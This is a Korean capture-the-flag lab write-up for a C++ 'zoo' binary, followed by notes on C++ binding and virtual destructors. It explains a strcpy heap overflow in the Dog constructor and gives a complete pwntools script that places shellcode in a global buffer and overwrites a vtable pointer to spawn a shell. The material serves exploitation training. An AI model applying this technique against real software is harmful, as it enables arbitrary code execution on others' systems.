문제
zoo 바이너리의 checksec 결과는 다음과 같다.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
file 명령어의 결과는 다음과 같다.
zoo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=792e7559f5ba138f88d91fb589692d803a582b92, not stripped
바이너리 코드
adddog()
unsigned __int64 adddog(void)
{
...
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string((__int64)&v5);
std::operator<<<std::char_traits<char>>(&std::cout, "Name : ");
std::operator>><char,std::char_traits<char>,std::allocator<char>>(&edata, &v5);
std::operator<<<std::char_traits<char>>(&std::cout, "Weight : ");
std::istream::operator>>(&edata, &v2);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v6, &v5);
v0 = operator new(0x28uLL);
Dog::Dog(v0, (__int64)&v6, v2);
v4 = v0;
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v6);
v3 = v4;
std::vector<Animal *,std::allocator<Animal *>>::push_back((__int64)&animallist, (__int64)&v3);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v5);
...
}
Dog::Dog()
__int64 __fastcall Dog::Dog(__int64 a1, __int64 a2, int a3)
{
...
v3 = a3;
Animal::Animal((Animal *)a1);
*(_QWORD *)a1 = off_403140;
v4 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(a2);
strcpy((char *)(a1 + 8), v4);
result = a1;
*(_DWORD *)(a1 + 32) = v3;
return result;
}
c++ 코드라 보기 그지 같아서 그렇지 하는 행위는 간단하다.
adddog() 함수는 basic string 객체에 dog의 이름을 입력받고 cin을 통해서 wegith를 입력받는다.
그 다음 40바이트를 new 함수를 통해서 할당하고 이 위치를 이용해서 DOG 객체를 생성한다. DOG 객체의 생성자는 인자로 들어온 메모리 공간의 첫 8바이트에 DOG 클래스의 vtable 주소를 저장한다. 이후 두 번째 인자인 name을 strcpy를 통해서 이후의 공간에 저장한다. 여기에 buffer overflow 취약점이 존재한다. 그 다음 첫 번째 인자로 들어온 공간의 마지막 8바이트에 인자로 들어온 weight 값을 저장한다.
DOG 객체 생성 후 animallist 변수를 이용해서 vector 객체를 생성한다.
adddog() 함수를 두 번 호출한 뒤 힙 영역을 보면 다음과 같다.
첫 번째 dog => 0xc60c60: 0x00000000 0x00000000 0x00000031 0x00000000
0xc60c70: 0x00403140 0x00000000 0x775f6168 0x65656565
0xc60c80: 0x5e656565 0x5e5f5f5f 0x00000000 0x00000000
vector (animallist) => 0xc60c90: 0x00000041 0x00000000 0x00000021 0x00000000
0xc60ca0: 0x00c60c70 0x00000000 0x00c60cc0 0x00000000
두 번째 dog => 0xc60cb0: 0x00000000 0x00000000 0x00000031 0x00000000
0xc60cc0: 0x00403140 0x00000000 0x775f6162 0x65656565
0xc60cd0: 0x5e656565 0x5e5f5f5f 0x00000000 0x00000000
exploit 방법
- zoo를 처음 실행하면 nameofzoo 변수에 0x64 만큼 입력을 받는다. NX가 꺼져있고 해당 영역에 실행 권한이 있다. 따라서 여기에 쉘코드를 삽입한다.
- 첫 번째 dog를 remove 한 뒤 다시 생성하고 bof를 이용해서 두 번째 dog의 vtable을 overwrite한다.
- listen() 함수를 이용해서 두 번째 dog가 overwrite 된 vtable을 참조하도록 한다.
주의할 점1
c++의 cin에서 0x20 (space)을 입력의 끝으로 생각한다. (0x20 대신에 NULL 값을 삽입해버린다.) 여기서 nameofzoo의 위치가 0x20으로 끝나기 때문에 두 번째 dog의 vtable을 nameofzoo의 맨 앞을 가리키도록 하면 입력이 끝까지 들어가지 않는다.
주의할 점2
c++ basic string은 그지 같이 동작하는데 (string 길이+1)이 DWORD size * 2 이하인 경우에는 stack에 해당 string을 저장하고 string의 길이가 저것보다 더 길면 heap에 메모리를 할당하고 해당 메모리에 string을 저장한다.
주의할 점3
vector 객체는 push_back() 메소드를 호출하면 새로운 vector를 할당한 후에 복사한다.
vector 참조 : https://dokydoky.tistory.com/453
풀이
#!/usr/bin/python
from pwn import *
def adddog(name,weight):
p.recvuntil("choice :")
p.sendline("1")
p.recvuntil("\n")
p.recvuntil("Name : ")
p.sendline(name)
p.recvuntil("Weight : ")
p.sendline(weight)
def listen(index):
p.recvuntil("choice :")
p.sendline("3")
p.recvuntil("\n")
p.recvuntil("animal : ")
p.sendline(index)
def remove(index):
p.recvuntil("choice :")
p.sendline("5")
p.recvuntil("\n")
p.recvuntil("animal : ")
p.sendline(index)
file_path="/home/sungyun/round4/lab15/zoo"
context(arch="x86_64",os="linux")
shellcode = asm(shellcraft.sh())
nameofzoo=0x605420
p=process(file_path)
p.recvuntil("zoo :")
p.sendline("A"*8+p64(nameofzoo+16)+p64(nameofzoo+24)+"\x90"*10+shellcode)
adddog("ha_weeeeeee^___^","65")
adddog("ba_weeeeeee^___^","75")
remove("0")
pay="A"*40
pay+=p64(nameofzoo+8)
adddog(pay,"100")
listen("0")
p.interactive()
c++ 내용 정리
바인딩
- 프로그램 소스에 쓰인 각종 내부 요소, 이름 식별자들에 대해 값 또는 속성을 확정하는 과정을 바인딩이라 함
- 정적 바인딩
- 컴파일 시점에 값, 속성 등이 결정됨
- 동적 바인딩
- 런타임에 성격이 결정된다.
- virtual 키워드가 붙는 경우 동적 바인딩을 한다.
오버로딩
- 동일한 클래스 내에서 같은 이름의 함수를 여러 번 정의 하는 것 (다른 매개 변수를 가진 같은 이름의 여러 함수를 만드는 것)
오버라이딩
- 상속 관게에서 기본 클래스의 메소드를 파생 클래스에서 재정의 하는 것 (상속 오버라이딩과 가상 함수를 이용한 방법이 있다.)
가상 소멸자
class Base{
public:
~Base() {
cout << "Base destructor!" << endl;
}
};
class Derived : public Base{
public:
char* largeBuffer;
Derived() {
largeBuffer = new char[3000];
}
~Derived() {
cout << "Derived destructor!" << endl;
delete[] largeBuffer;
}
};
int main(){
//코드1
cout << "---Derived* der1 = new Derived()---" << endl;
Derived* der1 = new Derived();
delete der1;
//코드2
cout << "\n\n---Base* der2 = new Derived()---" << endl;
Base* der2 = new Derived();
delete der2;
}
위의 경우에 출력 결과는 다음과 같다.
---Derived* der1 = new Derived()---
Derived destructor!
Base destructor!
---Base* der2 = new Derived()---
Base destructor!
즉, 코드1에서는 Drived class의 소멸자가 알아서 Base Class의 소멸자를 불러줘서 buffer가 잘 delete 됐지만 코드2의 경우에는 Derived class의 소멸자가 호출되지 않는다. 따라서 buffer가 delete 되지 않고 어딘가에 남아있게 된다. (이는 Base 포인터가 Derived 클래스의 인스턴스를 가리키고 있지만 Derived의 멤버에 접근할 수 없기 때문)
class Base{
public:
virtual ~Base() {
cout << "Base destructor!" << endl;
}
};
가상 소멸자를 이용하면 이런 상황에서 메모리가 누수되는 것을 막을 수 있다. 위와 같이 Base 소멸자를 virtual로 설정하면 코드2의 경우에서도 Derived class의 소멸자가 호출된다.